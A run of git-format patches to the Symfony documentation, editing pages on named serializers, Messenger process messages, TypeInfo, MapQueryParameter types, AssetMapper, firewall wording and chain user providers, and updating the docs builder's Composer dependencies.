+                // Include this normalizer in multiple serializers
+                ->tag('serializer.normalizer', ['serializer' => ['api_client1', 'api_client2']])
+                // Include this normalizer in all serializers (including the default one)
+                ->tag('serializer.normalizer', ['serializer' => '*'])
+            ;
+        };
+
+When the ``serializer`` attribute is not set, the service is registered with
+the default serializer.
+
+Each normalizer and encoder used in a named serializer is tagged with
+a ``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag,
+which can be used to list their priorities using the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag serializer.<normalizer|encoder>.<name>
+
+Additionally, you can exclude the default set of normalizers and encoders by
+setting the ``include_built_in_normalizers`` and ``include_built_in_encoders``
+options to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                named_serializers:
+                    api_client1:
+                        include_built_in_normalizers: false
+                        include_built_in_encoders: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+
+                    <framework:named-serializer
+                        name="api_client1"
+                        include-built-in-normalizers="false"
+                        include-built-in-encoders="true"
+                    />
+
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->namedSerializer('api_client1')
+                    ->includeBuiltInNormalizers(false)
+                    ->includeBuiltInEncoders(true)
+            ;
+        };
+
 Debugging the Serializer
 ------------------------
 

From fd26bacbbb4598f2f4d4f95cdd0546efe456bd58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Mar 2025 10:41:34 +0100
Subject: [PATCH 5459/5766] Minor tweaks

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 105bbaad8c9..6d1602f410c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2314,8 +2314,8 @@ will take care of creating a new process with the parameters you passed::
         }
     }
 
-A static factory :method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` is also
-available if you want to use features of your shell such as redirections or pipes::
+If you want to use shell features such as redirections or pipes, use the static
+factory :method:Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline::
 
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Process\Messenger\RunProcessMessage;
@@ -2335,8 +2335,8 @@ available if you want to use features of your shell such as redirections or pipe
         }
     }
 
-For more information, see the
-dedicated :ref:`Using Features From the OS Shell <process-using-features-from-the-os-shell>` documentation.
+For more information, read the documentation about
+:ref:`using features from the OS shell <process-using-features-from-the-os-shell>`.
 
 .. versionadded:: 7.3
 

From 081a975430c701cff5d876f3e4d962fd794953c6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 21:15:48 +0100
Subject: [PATCH 5460/5766] [TypeInfo] Add TypeFactoryTrait::fromValue method

---
 components/type_info.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/type_info.rst b/components/type_info.rst
index b97fbf4cc8b..5418c765ce7 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -36,10 +36,15 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::generic(Type::object(Collection::class), Type::int());
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
+    Type::fromValue(1.1) // same as Type::float()
 
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
+.. versionadded:: 7.3
+
+    The ``fromValue()`` method was introduced in Symfony 7.3.
+
 Resolvers
 ~~~~~~~~~
 

From d873aec48150e48f16afb2fa70b1a531c6827c85 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 22:38:11 +0100
Subject: [PATCH 5461/5766] Document supported types #[MapQueryParameter]

---
 controller.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/controller.rst b/controller.rst
index 3d4f84b4888..f09769ebc02 100644
--- a/controller.rst
+++ b/controller.rst
@@ -367,6 +367,16 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` support
+arguments of type:
+
+- ``string``
+- ``int``
+- ``float``
+- ``bool``
+- ``array``
+- ``\BackedEnum``
+
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::
 

From 005ad0266ce29494e1fa89df0b5fdb3596fb459f Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 21 Mar 2025 07:01:55 +0100
Subject: [PATCH 5462/5766] refer TypeFactoryTrait to github file

---
 components/type_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 2a92a3db63e..3d1aa569fec 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -37,8 +37,8 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
 
-    // Many others are available and can be
-    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+Many others methods are available and can be found
+in :class:`Symfony\\Component\\TypeInfo\\TypeFactoryTrait`.
 
 Resolvers
 ~~~~~~~~~

From 8967cd3617dfd0fd3be2f7f00b97b50e5f1b0060 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 09:11:31 +0100
Subject: [PATCH 5463/5766] Reword

---
 components/type_info.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 5418c765ce7..25d654995e0 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -36,10 +36,12 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::generic(Type::object(Collection::class), Type::int());
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
-    Type::fromValue(1.1) // same as Type::float()
+    // ... and more methods defined in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-    // Many others are available and can be
-    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+    // you can also use a generic method that detects the type automatically
+    Type::fromValue(1.1)   // same as Type::float()
+    Type::fromValue('...') // same as Type::string()
+    Type::fromValue(false) // same as Type::false()
 
 .. versionadded:: 7.3
 

From 0772b75238fbc4523113d97581400833fa570eca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 09:20:30 +0100
Subject: [PATCH 5464/5766] Reword

---
 controller.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/controller.rst b/controller.rst
index f09769ebc02..a198a6c9018 100644
--- a/controller.rst
+++ b/controller.rst
@@ -367,15 +367,14 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
-:class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` support
-arguments of type:
-
-- ``string``
-- ``int``
-- ``float``
-- ``bool``
-- ``array``
-- ``\BackedEnum``
+The ``MapQueryParameter`` attribute supports the following argument types:
+
+* ``\BackedEnum``
+* ``array``
+* ``bool``
+* ``float``
+* ``int``
+* ``string``
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 006b41e3f87536a2f57accf755bb8b06225bb24c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 21 Mar 2025 09:23:37 +0100
Subject: [PATCH 5465/5766] Update type_info.rst

---
 components/type_info.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 25d654995e0..7f767c1149e 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -39,9 +39,9 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // ... and more methods defined in Symfony\Component\TypeInfo\TypeFactoryTrait
 
     // you can also use a generic method that detects the type automatically
-    Type::fromValue(1.1)   // same as Type::float()
-    Type::fromValue('...') // same as Type::string()
-    Type::fromValue(false) // same as Type::false()
+    Type::fromValue(1.1);   // same as Type::float()
+    Type::fromValue('...'); // same as Type::string()
+    Type::fromValue(false); // same as Type::false()
 
 .. versionadded:: 7.3
 

From 2243ab9246cb22dfe571f262ac30698d897b1585 Mon Sep 17 00:00:00 2001
From: Florian Cellier <florian.cellier@sensiolabs.com>
Date: Fri, 21 Mar 2025 12:37:40 +0100
Subject: [PATCH 5466/5766] doc: Add doc for option `--dry-run` for the command
 `importmap:require` of the AssetMapper component

---
 frontend/asset_mapper.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d68c77c0105..2354485a2bf 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -215,6 +215,11 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
+.. tip::
+
+    The command takes the well-know ``--dry-run`` option to simulate the installation of the packages, useful
+    to show what will be installed without altering anything.
+
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php

From 4372e674fa7f62efb1cc161dee39b6faf6508ac3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 15:09:40 +0100
Subject: [PATCH 5467/5766] Update the doc builder dependencies

---
 _build/composer.json |   6 +-
 _build/composer.lock | 157 ++++++++++++++++++++++---------------------
 2 files changed, 83 insertions(+), 80 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index e09d79de52f..f77976b10f4 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -3,7 +3,7 @@
     "prefer-stable": true,
     "config": {
         "platform": {
-            "php": "8.1.0"
+            "php": "8.3"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         }
     },
     "require": {
-        "php": ">=8.1",
+        "php": ">=8.3",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.21"
+        "symfony-tools/docs-builder": "^0.27"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index a30ed16776b..b9a4646f8ae 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "6524e63395216a3a297f1c78c7f39d86",
+    "content-hash": "e38eca557458275428db96db370d2c74",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -420,37 +420,37 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.21.0",
+            "version": "0.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b"
+                "reference": "720b52b2805122a4c08376496bd9661944c2624a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
-                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/720b52b2805122a4c08376496bd9661944c2624a",
+                "reference": "720b52b2805122a4c08376496bd9661944c2624a",
                 "shasum": ""
             },
             "require": {
                 "doctrine/rst-parser": "^0.5",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "php": ">=7.4",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2 || ^6.0",
-                "symfony/css-selector": "^5.2 || ^6.0",
-                "symfony/dom-crawler": "^5.2 || ^6.0",
-                "symfony/filesystem": "^5.2 || ^6.0",
-                "symfony/finder": "^5.2 || ^6.0",
-                "symfony/http-client": "^5.2 || ^6.0",
+                "php": ">=8.3",
+                "scrivo/highlight.php": "^9.18.1",
+                "symfony/console": "^5.2 || ^6.0 || ^7.0",
+                "symfony/css-selector": "^5.2 || ^6.0 || ^7.0",
+                "symfony/dom-crawler": "^5.2 || ^6.0 || ^7.0",
+                "symfony/filesystem": "^5.2 || ^6.0 || ^7.0",
+                "symfony/finder": "^5.2 || ^6.0 || ^7.0",
+                "symfony/http-client": "^5.2 || ^6.0 || ^7.0",
                 "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
                 "masterminds/html5": "^2.7",
-                "symfony/phpunit-bridge": "^5.2 || ^6.0",
-                "symfony/process": "^5.2 || ^6.0"
+                "symfony/phpunit-bridge": "^5.2 || ^6.0 || ^7.0",
+                "symfony/process": "^5.2 || ^6.0 || ^7.0"
             },
             "bin": [
                 "bin/docs-builder"
@@ -468,9 +468,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.21.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/0.27.0"
             },
-            "time": "2023-07-11T15:21:07+00:00"
+            "time": "2025-03-21T09:48:45+00:00"
         },
         {
             "name": "symfony/console",
@@ -568,20 +568,20 @@
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.4.13",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e"
+                "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/cb23e97813c5837a041b73a6d63a9ddff0778f5e",
-                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/601a5ce9aaad7bf10797e3663faefce9e26c24e2",
+                "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1"
+                "php": ">=8.2"
             },
             "type": "library",
             "autoload": {
@@ -613,7 +613,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.4.13"
+                "source": "https://github.com/symfony/css-selector/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -629,7 +629,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-09-25T14:18:03+00:00"
+            "time": "2024-09-25T14:21:43+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
@@ -700,26 +700,26 @@
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.4.19",
+            "version": "v7.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f"
+                "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19073e3e0bb50cbc1cb286077069b3107085206f",
-                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7",
+                "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7",
                 "shasum": ""
             },
             "require": {
                 "masterminds/html5": "^2.6",
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "symfony/css-selector": "^5.4|^6.0|^7.0"
+                "symfony/css-selector": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -747,7 +747,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.4.19"
+                "source": "https://github.com/symfony/dom-crawler/tree/v7.2.4"
             },
             "funding": [
                 {
@@ -763,29 +763,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-02-14T17:58:34+00:00"
+            "time": "2025-02-17T15:53:07+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.4.13",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3"
+                "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/4856c9cf585d5a0313d8d35afd681a526f038dd3",
-                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/b8dce482de9d7c9fe2891155035a7248ab5c7fdb",
+                "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.8"
             },
             "require-dev": {
-                "symfony/process": "^5.4|^6.4|^7.0"
+                "symfony/process": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -813,7 +813,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.4.13"
+                "source": "https://github.com/symfony/filesystem/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -829,27 +829,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-10-25T15:07:50+00:00"
+            "time": "2024-10-25T15:15:23+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.4.17",
+            "version": "v7.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7"
+                "reference": "87a71856f2f56e4100373e92529eed3171695cfb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
-                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/87a71856f2f56e4100373e92529eed3171695cfb",
+                "reference": "87a71856f2f56e4100373e92529eed3171695cfb",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1"
+                "php": ">=8.2"
             },
             "require-dev": {
-                "symfony/filesystem": "^6.0|^7.0"
+                "symfony/filesystem": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -877,7 +877,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.4.17"
+                "source": "https://github.com/symfony/finder/tree/v7.2.2"
             },
             "funding": [
                 {
@@ -893,32 +893,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-12-29T13:51:37+00:00"
+            "time": "2024-12-30T19:00:17+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.4.19",
+            "version": "v7.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad"
+                "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/3294a433fc9d12ae58128174896b5b1822c28dad",
-                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/78981a2ffef6437ed92d4d7e2a86a82f256c6dc6",
+                "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "psr/log": "^1|^2|^3",
                 "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/http-client-contracts": "~3.4.4|^3.5.2",
                 "symfony/service-contracts": "^2.5|^3"
             },
             "conflict": {
+                "amphp/amp": "<2.5",
                 "php-http/discovery": "<1.15",
-                "symfony/http-foundation": "<6.3"
+                "symfony/http-foundation": "<6.4"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -927,19 +928,20 @@
                 "symfony/http-client-implementation": "3.0"
             },
             "require-dev": {
-                "amphp/amp": "^2.5",
-                "amphp/http-client": "^4.2.1",
-                "amphp/http-tunnel": "^1.0",
+                "amphp/http-client": "^4.2.1|^5.0",
+                "amphp/http-tunnel": "^1.0|^2.0",
                 "amphp/socket": "^1.1",
                 "guzzlehttp/promises": "^1.4|^2.0",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
-                "symfony/http-kernel": "^5.4|^6.0|^7.0",
-                "symfony/messenger": "^5.4|^6.0|^7.0",
-                "symfony/process": "^5.4|^6.0|^7.0",
-                "symfony/stopwatch": "^5.4|^6.0|^7.0"
+                "symfony/amphp-http-client-meta": "^1.0|^2.0",
+                "symfony/dependency-injection": "^6.4|^7.0",
+                "symfony/http-kernel": "^6.4|^7.0",
+                "symfony/messenger": "^6.4|^7.0",
+                "symfony/process": "^6.4|^7.0",
+                "symfony/rate-limiter": "^6.4|^7.0",
+                "symfony/stopwatch": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -970,7 +972,7 @@
                 "http"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.4.19"
+                "source": "https://github.com/symfony/http-client/tree/v7.2.4"
             },
             "funding": [
                 {
@@ -986,7 +988,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-02-13T09:55:13+00:00"
+            "time": "2025-02-13T10:27:23+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -1530,20 +1532,20 @@
         },
         {
             "name": "symfony/string",
-            "version": "v6.4.15",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f"
+                "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
-                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
+                "url": "https://api.github.com/repos/symfony/string/zipball/446e0d146f991dde3e73f45f2c97a9faad773c82",
+                "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-intl-grapheme": "~1.0",
                 "symfony/polyfill-intl-normalizer": "~1.0",
@@ -1553,11 +1555,12 @@
                 "symfony/translation-contracts": "<2.5"
             },
             "require-dev": {
-                "symfony/error-handler": "^5.4|^6.0|^7.0",
-                "symfony/http-client": "^5.4|^6.0|^7.0",
-                "symfony/intl": "^6.2|^7.0",
+                "symfony/emoji": "^7.1",
+                "symfony/error-handler": "^6.4|^7.0",
+                "symfony/http-client": "^6.4|^7.0",
+                "symfony/intl": "^6.4|^7.0",
                 "symfony/translation-contracts": "^2.5|^3.0",
-                "symfony/var-exporter": "^5.4|^6.0|^7.0"
+                "symfony/var-exporter": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1596,7 +1599,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.4.15"
+                "source": "https://github.com/symfony/string/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -1612,7 +1615,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-11-13T13:31:12+00:00"
+            "time": "2024-11-13T13:31:26+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1779,11 +1782,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=8.1"
+        "php": ">=8.3"
     },
     "platform-dev": {},
     "platform-overrides": {
-        "php": "8.1.0"
+        "php": "8.3"
     },
     "plugin-api-version": "2.6.0"
 }

From d802769826898db0def76c0cf1814c9b57b3033e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 17:32:40 +0100
Subject: [PATCH 5468/5766] [Security]: Removing duplicate sentence

Page: https://symfony.com/doc/6.4/security.html#the-firewall

Namely:
> Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
it matches *all* URLs).
---
 security.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index b725672dd5f..5fff8725f93 100644
--- a/security.rst
+++ b/security.rst
@@ -575,7 +575,8 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs).
+it matches *all* URLs). A firewall can have many modes of authentication,
+in other words, it enables many ways to ask the question "Who are you?".
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
@@ -630,10 +631,6 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
         The feature to use an array of regex was introduced in Symfony 6.4.
 
-All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
-
 Often, the user is unknown (i.e. not logged in) when they first visit your
 website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:

From 981b4e6fa1b9c8ad78b1dd349e666f53ceb56803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 17:51:46 +0100
Subject: [PATCH 5469/5766] Reword

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 5fff8725f93..fc0cf9c9377 100644
--- a/security.rst
+++ b/security.rst
@@ -575,8 +575,7 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
+it matches *all* URLs).
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
@@ -631,9 +630,10 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
         The feature to use an array of regex was introduced in Symfony 6.4.
 
-Often, the user is unknown (i.e. not logged in) when they first visit your
-website. If you visit your homepage right now, you *will* have access and
-you'll see that you're visiting a page behind the firewall in the toolbar:
+A firewall can have many modes of authentication, in other words, it enables many
+ways to ask the question "Who are you?". Often, the user is unknown (i.e. not logged in)
+when they first visit your website. If you visit your homepage right now, you *will*
+have access and you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :alt: The Symfony profiler toolbar where the Security information shows "Authenticated: no" and "Firewall name: main"

From 929ffc2b883af40fb5c2b681ee822275ad6e4710 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 20:34:37 +0100
Subject: [PATCH 5470/5766] [Security] Chain Providers: Fixing PHP code sample

Page: https://symfony.com/doc/6.4/security/user_providers.html#security-chain-user-provider

When passing in the variables, I got:
> Cannot use values of type "Symfony\Config\Security\ProviderConfig\EntityConfig" in service configuration files in .../config/packages/security.php (which is being imported from ".../src/Kernel.php").
---
 security/user_providers.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 09d47c270f2..7e9de36eff1 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -347,23 +347,23 @@ providers until the user is found:
         return static function (SecurityConfig $security): void {
             // ...
 
-            $backendProvider = $security->provider('backend_users')
+            $security->provider('backend_users')
                 ->ldap()
                 // ...
             ;
 
-            $legacyProvider = $security->provider('legacy_users')
+            $security->provider('legacy_users')
                 ->entity()
                 // ...
             ;
 
-            $userProvider = $security->provider('users')
+            $security->provider('users')
                 ->entity()
                 // ...
             ;
 
-            $allProviders = $security->provider('all_users')->chain()
-                ->providers([$backendProvider, $legacyProvider, $userProvider])
+            $security->provider('all_users')->chain()
+                ->providers(['backend_users', 'legacy_users', 'users'])
             ;
         };
 

